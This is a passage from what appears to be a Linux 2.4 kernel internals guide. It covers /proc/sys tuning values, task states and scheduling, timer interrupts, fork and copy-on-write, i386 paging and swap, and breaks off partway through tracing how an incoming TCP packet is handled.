|   |-- net
|   |   |-- 802
|   |   |-- core
|   |   |   |-- hot_list_length
|   |   |   |-- lo_cong
|   |   |   |-- message_burst
|   |   |   |-- message_cost
|   |   |   |-- mod_cong
|   |   |   |-- netdev_max_backlog
|   |   |   |-- no_cong
|   |   |   |-- no_cong_thresh
|   |   |   |-- optmem_max
|   |   |   |-- rmem_default
|   |   |   |-- rmem_max
|   |   |   |-- wmem_default
|   |   |   `-- wmem_max
|   |   |-- ethernet
|   |   |-- ipv4
|   |   |   |-- conf
|   |   |   |   |-- all
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- default
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- eth0
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- eth1
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   `-- lo
|   |   |   |       |-- accept_redirects
|   |   |   |       |-- accept_source_route
|   |   |   |       |-- arp_filter
|   |   |   |       |-- bootp_relay
|   |   |   |       |-- forwarding
|   |   |   |       |-- log_martians
|   |   |   |       |-- mc_forwarding
|   |   |   |       |-- proxy_arp
|   |   |   |       |-- rp_filter
|   |   |   |       |-- secure_redirects
|   |   |   |       |-- send_redirects
|   |   |   |       |-- shared_media
|   |   |   |       `-- tag
|   |   |   |-- icmp_echo_ignore_all
|   |   |   |-- icmp_echo_ignore_broadcasts
|   |   |   |-- icmp_ignore_bogus_error_responses
|   |   |   |-- icmp_ratelimit
|   |   |   |-- icmp_ratemask
|   |   |   |-- inet_peer_gc_maxtime
|   |   |   |-- inet_peer_gc_mintime
|   |   |   |-- inet_peer_maxttl
|   |   |   |-- inet_peer_minttl
|   |   |   |-- inet_peer_threshold
|   |   |   |-- ip_autoconfig
|   |   |   |-- ip_conntrack_max
|   |   |   |-- ip_default_ttl
|   |   |   |-- ip_dynaddr
|   |   |   |-- ip_forward
|   |   |   |-- ip_local_port_range
|   |   |   |-- ip_no_pmtu_disc
|   |   |   |-- ip_nonlocal_bind
|   |   |   |-- ipfrag_high_thresh
|   |   |   |-- ipfrag_low_thresh
|   |   |   |-- ipfrag_time
|   |   |   |-- neigh
|   |   |   |   |-- default
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_interval
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- gc_thresh1
|   |   |   |   |   |-- gc_thresH3
|   |   |   |   |   |-- gc_thresh3
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   |-- eth0
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   |-- eth1
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   `-- lo
|   |   |   |       |-- anycast_delay
|   |   |   |       |-- app_solicit
|   |   |   |       |-- base_reachable_time
|   |   |   |       |-- delay_first_probe_time
|   |   |   |       |-- gc_stale_time
|   |   |   |       |-- locktime
|   |   |   |       |-- mcast_solicit
|   |   |   |       |-- proxy_delay
|   |   |   |       |-- proxy_qlen
|   |   |   |       |-- retrans_time
|   |   |   |       |-- ucast_solicit
|   |   |   |       `-- unres_qlen
|   |   |   |-- route
|   |   |   |   |-- error_burst
|   |   |   |   |-- error_cost
|   |   |   |   |-- flush
|   |   |   |   |-- gc_elasticity
|   |   |   |   |-- gc_interval
|   |   |   |   |-- gc_min_interval
|   |   |   |   |-- gc_thresh
|   |   |   |   |-- gc_timeout
|   |   |   |   |-- max_delay
|   |   |   |   |-- max_size
|   |   |   |   |-- min_adv_mss
|   |   |   |   |-- min_delay
|   |   |   |   |-- min_pmtu
|   |   |   |   |-- mtu_expires
|   |   |   |   |-- redirect_load
|   |   |   |   |-- redirect_number
|   |   |   |   `-- redirect_silence
|   |   |   |-- tcp_abort_on_overflow
|   |   |   |-- tcp_adv_win_scale
|   |   |   |-- tcp_app_win
|   |   |   |-- tcp_dsack
|   |   |   |-- tcp_ecn
|   |   |   |-- tcp_fack
|   |   |   |-- tcp_fin_timeout
|   |   |   |-- tcp_keepalive_intvl
|   |   |   |-- tcp_keepalive_probes
|   |   |   |-- tcp_keepalive_time
|   |   |   |-- tcp_max_orphans
|   |   |   |-- tcp_max_syn_backlog
|   |   |   |-- tcp_max_tw_buckets
|   |   |   |-- tcp_mem
|   |   |   |-- tcp_orphan_retries
|   |   |   |-- tcp_reordering
|   |   |   |-- tcp_retrans_collapse
|   |   |   |-- tcp_retries1
|   |   |   |-- tcp_retries2
|   |   |   |-- tcp_rfc1337
|   |   |   |-- tcp_rmem
|   |   |   |-- tcp_sack
|   |   |   |-- tcp_stdurg
|   |   |   |-- tcp_syn_retries
|   |   |   |-- tcp_synack_retries
|   |   |   |-- tcp_syncookies
|   |   |   |-- tcp_timestamps
|   |   |   |-- tcp_tw_recycle
|   |   |   |-- tcp_window_scaling
|   |   |   `-- tcp_wmem
|   |   `-- unix
|   |       `-- max_dgram_qlen
|   |-- proc
|   `-- vm
|       |-- bdflush
|       |-- kswapd
|       |-- max-readahead
|       |-- min-readahead
|       |-- overcommit_memory
|       |-- page-cluster
|       `-- pagetable_cache
|-- sysvipc
|   |-- msg
|   |-- sem
|   `-- shm
|-- tty
|   |-- driver
|   |   `-- serial
|   |-- drivers
|   |-- ldisc
|   `-- ldiscs
|-- uptime
`-- version

In the directory there are also all the tasks using PID as file names (you have access to all Task information, like path of binary file, memory used, and so on).

The interesting point is that you cannot only see kernel values (for example, see info about any task or about network options enabled of your TCP/IP stack) but you are also able to modify some of it, typically that ones under /proc/sys directory:

/proc/sys/ 
          acpi
          dev
          debug
          fs
          proc
          net
          vm
          kernel

/proc/sys/kernel

Below are very important and well-know kernel values, ready to be modified:

overflowgid
overflowuid
random
threads-max // Max number of threads, typically 16384
sysrq // kernel hack: you can view istant register values and more
sem
msgmnb
msgmni
msgmax
shmmni
shmall
shmmax
rtsig-max
rtsig-nr
modprobe // modprobe file location
printk
ctrl-alt-del
cap-bound
panic
domainname // domain name of your Linux box
hostname // host name of your Linux box
version // date info about kernel compilation
osrelease // kernel version (i.e. 2.4.5)
ostype // Linux!

/proc/sys/net

This can be considered the most useful proc subdirectory. It allows you to change very important settings for your network kernel configuration.

core
ipv4
ipv6
unix
ethernet
802

/proc/sys/net/core

Listed below are general net settings, like "netdev_max_backlog" (typically 300), the length of all your network packets. This value can limit your network bandwidth when receiving packets, Linux has to wait up to scheduling time to flush buffers (due to bottom half mechanism), about 1000/HZ ms

  300    *        100             =     30 000
packets     HZ(Timeslice freq)         packets/s
 
30 000   *       1000             =      30 M
packets     average (Bytes/packet)   throughput Bytes/s

If you want to get higher throughput, you need to increase netdev_max_backlog, by typing:

echo 4000 > /proc/sys/net/core/netdev_max_backlog

Note: Warning for some HZ values: under some architecture (like alpha or arm-tbox) it is 1000, so you can have 300 MBytes/s of average throughput.

/proc/sys/net/ipv4

"ip_forward", enables or disables ip forwarding in your Linux box. This is a generic setting for all devices, you can specify each device you choose.

/proc/sys/net/ipv4/conf/interface

I think this is the most useful /proc entry, because it allows you to change some net settings to support wireless networks (see Wireless-HOWTO for more information).

Here are some examples of when you could use this setting:

  • "forwarding", to enable ip forwarding for your interface
  • "proxy_arp", to enable proxy arp feature. For more see Proxy arp HOWTO under Linux Documentation Project and Wireless-HOWTO for proxy arp use in Wireless networks.
  • "send_redirects" to avoid interface to send ICMP_REDIRECT (as before, see Wireless-HOWTO for more).

6. Linux Multitasking

6.1 Overview

This section will analyze data structures--the mechanism used to manage multitasking environment under Linux.

Task States

A Linux Task can be one of the following states (according to [include/linux.h]):

  1. TASK_RUNNING, it means that it is in the "Ready List"
  2. TASK_INTERRUPTIBLE, task waiting for a signal or a resource (sleeping)
  3. TASK_UNINTERRUPTIBLE, task waiting for a resource (sleeping), it is in same "Wait Queue"
  4. TASK_ZOMBIE, task child without father
  5. TASK_STOPPED, task being debugged

Graphical Interaction

       ______________     CPU Available     ______________
      |              |  ---------------->  |              |
      | TASK_RUNNING |                     | Real Running |  
      |______________|  <----------------  |______________|
                           CPU Busy
            |   /|\       
Waiting for |    | Resource  
 Resource   |    | Available             
           \|/   |      
    ______________________                     
   |                      |
   | TASK_INTERRUPTIBLE / |
   | TASK-UNINTERRUPTIBLE |
   |______________________|
 
                     Main Multitasking Flow

6.2 Timeslice

PIT 8253 Programming

Each 10 ms (depending on HZ value) an IRQ0 comes, which helps us in a multitasking environment. This signal comes from PIC 8259 (in arch 386+) which is connected to PIT 8253 with a clock of 1.19318 MHz.

    _____         ______        ______        
   | CPU |<------| 8259 |------| 8253 |
   |_____| IRQ0  |______|      |___/|\|
                                    |_____ CLK 1.193.180 MHz
          
// From include/asm/param.h
#ifndef HZ 
#define HZ 100 
#endif
 
// From include/asm/timex.h
#define CLOCK_TICK_RATE 1193180 /* Underlying HZ */
 
// From include/linux/timex.h
#define LATCH ((CLOCK_TICK_RATE + HZ/2) / HZ) /* For divider */
 
// From arch/i386/kernel/i8259.c
outb_p(0x34,0x43); /* binary, mode 2, LSB/MSB, ch 0 */ 
outb_p(LATCH & 0xff , 0x40); /* LSB */
outb(LATCH >> 8 , 0x40); /* MSB */
 

So we program 8253 (PIT, Programmable Interval Timer) with LATCH = (1193180/HZ) = 11931.8 when HZ=100 (default). LATCH indicates the frequency divisor factor.

LATCH = 11931.8 gives to 8253 (in output) a frequency of 1193180 / 11931.8 = 100 Hz, so period = 10ms

So Timeslice = 1/HZ.

With each Timeslice we temporarily interrupt current process execution (without task switching), and we do some housekeeping work, after which we'll return back to our previous process.

Linux Timer IRQ ICA

Linux Timer IRQ
IRQ 0 [Timer]
 |  
\|/
|IRQ0x00_interrupt        //   wrapper IRQ handler
   |SAVE_ALL              ---   
      |do_IRQ                |   wrapper routines
         |handle_IRQ_event  ---
            |handler() -> timer_interrupt  // registered IRQ 0 handler
               |do_timer_interrupt
                  |do_timer  
                     |jiffies++;
                     |update_process_times  
                     |if (--counter <= 0) { // if time slice ended then
                        |counter = 0;        //   reset counter           
                        |need_resched = 1;   //   prepare to reschedule
                     |}
         |do_softirq
         |while (need_resched) { // if necessary
            |schedule             //   reschedule
            |handle_softirq
         |}
   |RESTORE_ALL
 

Functions can be found under:

  • IRQ0x00_interrupt, SAVE_ALL [include/asm/hw_irq.h]
  • do_IRQ, handle_IRQ_event [arch/i386/kernel/irq.c]
  • timer_interrupt, do_timer_interrupt [arch/i386/kernel/time.c]
  • do_timer, update_process_times [kernel/timer.c]
  • do_softirq [kernel/soft_irq.c]
  • RESTORE_ALL, while loop [arch/i386/kernel/entry.S]

Notes:

  1. Function "IRQ0x00_interrupt" (like others IRQ0xXY_interrupt) is directly pointed by IDT (Interrupt Descriptor Table, similar to Real Mode Interrupt Vector Table, see Cap 11 for more), so EVERY interrupt coming to the processor is managed by "IRQ0x#NR_interrupt" routine, where #NR is the interrupt number. We refer to it as "wrapper irq handler".
  2. wrapper routines are executed, like "do_IRQ","handle_IRQ_event" [arch/i386/kernel/irq.c].
  3. After this, control is passed to official IRQ routine (pointed by "handler()"), previously registered with "request_irq" [arch/i386/kernel/irq.c], in this case "timer_interrupt" [arch/i386/kernel/time.c].
  4. "timer_interrupt" [arch/i386/kernel/time.c] routine is executed and, when it ends,
  5. control backs to some assembler routines [arch/i386/kernel/entry.S].

Description:

To manage Multitasking, Linux (like every other Unix) uses a ''counter'' variable to keep track of how much CPU was used by the task. So, on each IRQ 0, the counter is decremented (point 4) and, when it reaches 0, we need to switch task to manage timesharing (point 4 "need_resched" variable is set to 1, then, in point 5 assembler routines control "need_resched" and call, if needed, "schedule" [kernel/sched.c]).

6.3 Scheduler

The scheduler is the piece of code that chooses what Task has to be executed at a given time.

Any time you need to change running task, select a candidate. Below is the ''schedule [kernel/sched.c]'' function.

|schedule
   |do_softirq // manages post-IRQ work
   |for each task
      |calculate counter
   |prepare_to__switch // does anything
   |switch_mm // change Memory context (change CR3 value)
   |switch_to (assembler)
      |SAVE ESP
      |RESTORE future_ESP
      |SAVE EIP
      |push future_EIP *** push parameter as we did a call 
         |jmp __switch_to (it does some TSS work) 
         |__switch_to()
          ..
         |ret *** ret from call using future_EIP in place of call address
      new_task

6.4 Bottom Half, Task Queues. and Tasklets

Overview

In classic Unix, when an IRQ comes (from a device), Unix makes "task switching" to interrogate the task that requested the device.

To improve performance, Linux can postpone the non-urgent work until later, to better manage high speed event.

This feature is managed since kernel 1.x by the "bottom half" (BH). The irq handler "marks" a bottom half, to be executed later, in scheduling time.

In the latest kernels there is a "task queue"that is more dynamic than BH and there is also a "tasklet" to manage multiprocessor environments.

BH schema is:

  1. Declaration
  2. Mark
  3. Execution

Declaration

#define DECLARE_TASK_QUEUE(q) LIST_HEAD(q)
#define LIST_HEAD(name) \
   struct list_head name = LIST_HEAD_INIT(name) 
struct list_head { 
   struct list_head *next, *prev; 
};
#define LIST_HEAD_INIT(name) { &(name), &(name) } 
 
      ''DECLARE_TASK_QUEUE'' [include/linux/tqueue.h, include/linux/list.h] 

"DECLARE_TASK_QUEUE(q)" macro is used to declare a structure named "q" managing task queue.

Mark

Here is the ICA schema for "mark_bh" [include/linux/interrupt.h] function:

|mark_bh(NUMBER)
   |tasklet_hi_schedule(bh_task_vec + NUMBER)
      |insert into tasklet_hi_vec
         |__cpu_raise_softirq(HI_SOFTIRQ) 
            |soft_active |= (1 << HI_SOFTIRQ)
 
                   ''mark_bh''[include/linux/interrupt.h]

For example, when an IRQ handler wants to "postpone" some work, it would "mark_bh(NUMBER)", where NUMBER is a BH declarated (see section before).

Execution

We can see this calling from "do_IRQ" [arch/i386/kernel/irq.c] function:

|do_softirq
   |h->action(h)-> softirq_vec[TASKLET_SOFTIRQ]->action -> tasklet_action
      |tasklet_vec[0].list->func
         

"h->action(h);" is the function has been previously queued.

6.5 Very low level routines

set_intr_gate

set_trap_gate

set_task_gate (not used).

(*interrupt)[NR_IRQS](void) = { IRQ0x00_interrupt, IRQ0x01_interrupt, ..}

NR_IRQS = 224 [kernel 2.4.2]

6.6 Task Switching

When does Task switching occur?

Now we'll see how the Linux Kernel switchs from one task to another.

Task Switching is needed in many cases, such as the following:

  • when TimeSlice ends, we need to give access to some other task
  • when a task decide to access a resource, it sleeps for it, so we have to choose another task
  • when a task waits for a pipe, we have to give access to other task, which would write to pipe

Task Switching

                           TASK SWITCHING TRICK
#define switch_to(prev,next,last) do {                                  \
        asm volatile("pushl %%esi\n\t"                                  \
                     "pushl %%edi\n\t"                                  \
                     "pushl %%ebp\n\t"                                  \
                     "movl %%esp,%0\n\t"        /* save ESP */          \
                     "movl %3,%%esp\n\t"        /* restore ESP */       \
                     "movl $1f,%1\n\t"          /* save EIP */          \
                     "pushl %4\n\t"             /* restore EIP */       \
                     "jmp __switch_to\n"                                \
                     "1:\t"                                             \
                     "popl %%ebp\n\t"                                   \
                     "popl %%edi\n\t"                                   \
                     "popl %%esi\n\t"                                   \
                     :"=m" (prev->thread.esp),"=m" (prev->thread.eip),  \
                      "=b" (last)                                       \
                     :"m" (next->thread.esp),"m" (next->thread.eip),    \
                      "a" (prev), "d" (next),                           \
                      "b" (prev));                                      \
} while (0)

Trick is here:

  1. ''pushl %4'' which puts future_EIP into the stack
  2. ''jmp __switch_to'' which execute ''__switch_to'' function, but in opposite of ''call'' we will return to valued pushed in point 1 (so new Task!)

      U S E R   M O D E                 K E R N E L     M O D E

 |          |     |          |       |          |     |          |
 |          |     |          | Timer |          |     |          |
 |          |     |  Normal  |  IRQ  |          |     |          |
 |          |     |   Exec   |------>|Timer_Int.|     |          |
 |          |     |     |    |       | ..       |     |          |
 |          |     |    \|/   |       |schedule()|     | Task1 Ret|
 |          |     |          |       |_switch_to|<--  |  Address |
 |__________|     |__________|       |          |  |  |          |
                                     |          |  |S |          | 
Task1 Data/Stack   Task1 Code        |          |  |w |          |
                                     |          | T|i |          |
                                     |          | a|t |          |
 |          |     |          |       |          | s|c |          |
 |          |     |          | Timer |          | k|h |          |
 |          |     |  Normal  |  IRQ  |          |  |i |          | 
 |          |     |   Exec   |------>|Timer_Int.|  |n |          |
 |          |     |     |    |       | ..       |  |g |          |
 |          |     |    \|/   |       |schedule()|  |  | Task2 Ret|
 |          |     |          |       |_switch_to|<--  |  Address |
 |__________|     |__________|       |__________|     |__________|
 
Task2 Data/Stack   Task2 Code        Kernel Code  Kernel Data/Stack

6.7 Fork

Overview

Fork is used to create another task. We start from a Task Parent, and we copy many data structures to Task Child.

 
                               |         |
                               | ..      |
         Task Parent           |         |
         |         |           |         |
         |  fork   |---------->|  CREATE |   
         |         |          /|   NEW   |
         |_________|         / |   TASK  |
                            /  |         |
             ---           /   |         |
             ---          /    | ..      |
                         /     |         |
         Task Child     / 
         |         |   /
         |  fork   |<-/
         |         |
         |_________|
              
                       Fork SysCall

What is not copied

New Task just created (''Task Child'') is almost equal to Parent (''Task Parent''), there are only few differences:

  1. obviously PID
  2. child ''fork()'' will return 0, while parent ''fork()'' will return PID of Task Child, to distinguish them each other in User Mode
  3. All child data pages are marked ''READ + EXECUTE'', no "WRITE'' (while parent has WRITE right for its own pages) so, when a write request comes, a ''Page Fault'' exception is generated which will create a new independent page: this mechanism is called ''Copy on Write'' (see Cap.10 for more).

Fork ICA

|sys_fork 
   |do_fork
      |alloc_task_struct 
         |__get_free_pages
       |p->state = TASK_UNINTERRUPTIBLE
       |copy_flags
       |p->pid = get_pid    
       |copy_files
       |copy_fs
       |copy_sighand
       |copy_mm // should manage CopyOnWrite (I part)
          |allocate_mm
          |mm_init
             |pgd_alloc -> get_pgd_fast
                |get_pgd_slow
          |dup_mmap
             |copy_page_range
                |ptep_set_wrprotect
                   |clear_bit // set page to read-only              
          |copy_segments // For LDT
       |copy_thread
          |childregs->eax = 0  
          |p->thread.esp = childregs // child fork returns 0
          |p->thread.eip = ret_from_fork // child starts from fork exit
       |retval = p->pid // parent fork returns child pid
       |SET_LINKS // insertion of task into the list pointers
       |nr_threads++ // Global variable
       |wake_up_process(p) // Now we can wake up just created child
       |return retval
              
               fork ICA
 

  • sys_fork [arch/i386/kernel/process.c]
  • do_fork [kernel/fork.c]
  • alloc_task_struct [include/asm/processor.c]
  • __get_free_pages [mm/page_alloc.c]
  • get_pid [kernel/fork.c]
  • copy_files
  • copy_fs
  • copy_sighand
  • copy_mm
  • allocate_mm
  • mm_init
  • pgd_alloc -> get_pgd_fast [include/asm/pgalloc.h]
  • get_pgd_slow
  • dup_mmap [kernel/fork.c]
  • copy_page_range [mm/memory.c]
  • ptep_set_wrprotect [include/asm/pgtable.h]
  • clear_bit [include/asm/bitops.h]
  • copy_segments [arch/i386/kernel/process.c]
  • copy_thread
  • SET_LINKS [include/linux/sched.h]
  • wake_up_process [kernel/sched.c]

Copy on Write

To implement Copy on Write for Linux:

  1. Mark all copied pages as read-only, causing a Page Fault when a Task tries to write to them.
  2. Page Fault handler creates a new page.

 
 | Page 
 | Fault 
 | Exception
 |
 |
 -----------> |do_page_fault
                 |handle_mm_fault
                    |handle_pte_fault 
                       |do_wp_page        
                          |alloc_page      // Allocate a new page
                          |break_cow
                             |copy_cow_page // Copy old page to new one
                             |establish_pte // reconfig Page Table pointers
                                |set_pte
                            
              Page Fault ICA
 

  • do_page_fault [arch/i386/mm/fault.c]
  • handle_mm_fault [mm/memory.c]
  • handle_pte_fault
  • do_wp_page
  • alloc_page [include/linux/mm.h]
  • break_cow [mm/memory.c]
  • copy_cow_page
  • establish_pte
  • set_pte [include/asm/pgtable-3level.h]

7. Linux Memory Management

7.1 Overview

Linux uses segmentation + pagination, which simplifies notation.

Segments

Linux uses only 4 segments:

  • 2 segments (code and data/stack) for KERNEL SPACE from [0xC000 0000] (3 GB) to [0xFFFF FFFF] (4 GB)
  • 2 segments (code and data/stack) for USER SPACE from [0] (0 GB) to [0xBFFF FFFF] (3 GB)

                               __
   4 GB--->|                |    |
           |     Kernel     |    |  Kernel Space (Code + Data/Stack)
           |                |  __|
   3 GB--->|----------------|  __
           |                |    |
           |                |    |
   2 GB--->|                |    |
           |     Tasks      |    |  User Space (Code + Data/Stack)
           |                |    |
   1 GB--->|                |    |
           |                |    |
           |________________|  __| 
 0x00000000
          Kernel/User Linear addresses
 

7.2 Specific i386 implementation

Again, Linux implements Pagination using 3 Levels of Paging, but in i386 architecture only 2 of them are really used:

 
   ------------------------------------------------------------------
   L    I    N    E    A    R         A    D    D    R    E    S    S
   ------------------------------------------------------------------
        \___/                 \___/                     \_____/ 
 
     PD offset              PF offset                 Frame offset 
     [10 bits]              [10 bits]                 [12 bits]       
          |                     |                          |
          |                     |     -----------          |        
          |                     |     |  Value  |----------|---------
          |     |         |     |     |---------|   /|\    |        |
          |     |         |     |     |         |    |     |        |
          |     |         |     |     |         |    | Frame offset |
          |     |         |     |     |         |   \|/             |
          |     |         |     |     |---------|<------            |
          |     |         |     |     |         |      |            |
          |     |         |     |     |         |      | x 4096     |
          |     |         |  PF offset|_________|-------            |
          |     |         |       /|\ |         |                   |
      PD offset |_________|-----   |  |         |          _________|
            /|\ |         |    |   |  |         |          | 
             |  |         |    |  \|/ |         |         \|/
 _____       |  |         |    ------>|_________|   PHYSICAL ADDRESS 
|     |     \|/ |         |    x 4096 |         |
| CR3 |-------->|         |           |         |
|_____|         | ....... |           | ....... |
                |         |           |         |    
 
               Page Directory          Page File

                       Linux i386 Paging
 


7.3 Memory Mapping

Linux manages Access Control with Pagination only, so different Tasks will have the same segment addresses, but different CR3 (register used to store Directory Page Address), pointing to different Page Entries.

In User mode a task cannot overcome 3 GB limit (0 x C0 00 00 00), so only the first 768 page directory entries are meaningful (768*4MB = 3GB).

When a Task goes in Kernel Mode (by System call or by IRQ) the other 256 pages directory entries become important, and they point to the same page files as all other Tasks (which are the same as the Kernel).

Note that Kernel (and only kernel) Linear Space is equal to Kernel Physical Space, so:

 
            ________________ _____                    
           |Other KernelData|___  |  |                |
           |----------------|   | |__|                |
           |     Kernel     |\  |____|   Real Other   |
  3 GB --->|----------------| \      |   Kernel Data  |
           |                |\ \     |                |
           |              __|_\_\____|__   Real       |
           |      Tasks     |  \ \   |     Tasks      |
           |              __|___\_\__|__   Space      |
           |                |    \ \ |                |
           |                |     \ \|----------------|
           |                |      \ |Real KernelSpace|
           |________________|       \|________________|
      
           Logical Addresses          Physical Addresses
 

Linear Kernel Space corresponds to Physical Kernel Space translated 3 GB down (in fact page tables are something like { "00000000", "00000001" }, so they operate no virtualization, they only report physical addresses they take from linear ones).

Notice that you'll not have an "addresses conflict" between Kernel and User spaces because we can manage physical addresses with Page Tables.

7.4 Low level memory allocation

Boot Initialization

We start from kmem_cache_init (launched by start_kernel [init/main.c] at boot up).

|kmem_cache_init
   |kmem_cache_estimate

kmem_cache_init [mm/slab.c]

kmem_cache_estimate

Now we continue with mem_init (also launched by start_kernel[init/main.c])

|mem_init
   |free_all_bootmem
      |free_all_bootmem_core

mem_init [arch/i386/mm/init.c]

free_all_bootmem [mm/bootmem.c]

free_all_bootmem_core

Run-time allocation

Under Linux, when we want to allocate memory, for example during "copy_on_write" mechanism (see Cap.10), we call:

|copy_mm 
   |allocate_mm = kmem_cache_alloc
      |__kmem_cache_alloc
         |kmem_cache_alloc_one
            |alloc_new_slab
               |kmem_cache_grow
                  |kmem_getpages
                     |__get_free_pages
                        |alloc_pages
                           |alloc_pages_pgdat
                              |__alloc_pages
                                 |rmqueue   
                                 |reclaim_pages

Functions can be found under:

  • copy_mm [kernel/fork.c]
  • allocate_mm [kernel/fork.c]
  • kmem_cache_alloc [mm/slab.c]
  • __kmem_cache_alloc
  • kmem_cache_alloc_one
  • alloc_new_slab
  • kmem_cache_grow
  • kmem_getpages
  • __get_free_pages [mm/page_alloc.c]
  • alloc_pages [mm/numa.c]
  • alloc_pages_pgdat
  • __alloc_pages [mm/page_alloc.c]
  • rm_queue
  • reclaim_pages [mm/vmscan.c]

TODO: Understand Zones

7.5 Swap

Overview

Swap is managed by the kswapd daemon (kernel thread).

kswapd

As other kernel threads, kswapd has a main loop that wait to wake up.

|kswapd
   |// initialization routines
   |for (;;) { // Main loop
      |do_try_to_free_pages
      |recalculate_vm_stats
      |refill_inactive_scan
      |run_task_queue
      |interruptible_sleep_on_timeout // we sleep for a new swap request
   |}

  • kswapd [mm/vmscan.c]
  • do_try_to_free_pages
  • recalculate_vm_stats [mm/swap.c]
  • refill_inactive_scan [mm/vmswap.c]
  • run_task_queue [kernel/softirq.c]
  • interruptible_sleep_on_timeout [kernel/sched.c]

When do we need swapping?

Swapping is needed when we have to access a page that is not in physical memory.

Linux uses ''kswapd'' kernel thread to carry out this purpose. When the Task receives a page fault exception we do the following:

 
 | Page Fault Exception
 | cause by all these conditions: 
 |   a-) User page 
 |   b-) Read or write access 
 |   c-) Page not present
 |
 |
 -----------> |do_page_fault
                 |handle_mm_fault
                    |pte_alloc 
                       |pte_alloc_one
                          |__get_free_page = __get_free_pages
                             |alloc_pages
                                |alloc_pages_pgdat
                                   |__alloc_pages
                                      |wakeup_kswapd // We wake up kernel thread kswapd
   
                   Page Fault ICA
 

  • do_page_fault [arch/i386/mm/fault.c]
  • handle_mm_fault [mm/memory.c]
  • pte_alloc
  • pte_alloc_one [include/asm/pgalloc.h]
  • __get_free_page [include/linux/mm.h]
  • __get_free_pages [mm/page_alloc.c]
  • alloc_pages [mm/numa.c]
  • alloc_pages_pgdat
  • __alloc_pages
  • wakeup_kswapd [mm/vmscan.c]

8. Linux Networking

8.1 How Linux networking is managed?

There exists a device driver for each kind of NIC. Inside it, Linux will ALWAYS call a standard high level routing: "netif_rx [net/core/dev.c]", which will controls what 3 level protocol the frame belong to, and it will call the right 3 level function (so we'll use a pointer to the function to determine which is right).

8.2 TCP example

We'll see now an example of what happens when we send a TCP packet to Linux, starting from ''netif_rx [net/core/dev.c]'' call.

Interrupt management: "netif_rx"

|netif_rx
   |__skb_queue_tail
      |qlen++
      |* simple pointer insertion *    
   |cpu_raise_softirq
      |softirq_active(cpu) |= (1 << NET_RX_SOFTIRQ) // set bit NET_RX_SOFTIRQ in the BH vector
 

Functions:

  • __skb_queue_tail [include/linux/skbuff.h]
  • cpu_raise_softirq [kernel/softirq.c]

Post Interrupt management: "net_rx_action"

Once IRQ interaction is ended, we need to follow the next part of the frame life and examine what NET_RX_SOFTIRQ does.

We will next call ''net_rx_action [net/core/dev.c]'' according to "net_dev_init [net/core/dev.c]".

|net_rx_action
   |skb = __skb_dequeue (the exact opposite of __skb_queue_tail)
   |for (ptype = first_protocol; ptype < max_protocol; ptype++) // Determine 
      |if (skb->protocol == ptype)                               // what is the network protocol
         |ptype->func -> ip_rcv // according to ''struct ip_packet_type [net/ipv4/ip_output.c]''
 
    **** NOW WE KNOW THAT PACKET IS IP ****
         |ip_rcv
            |NF_HOOK (ip_rcv_finish)
               |ip_route_input // search from routing table to determine function to call
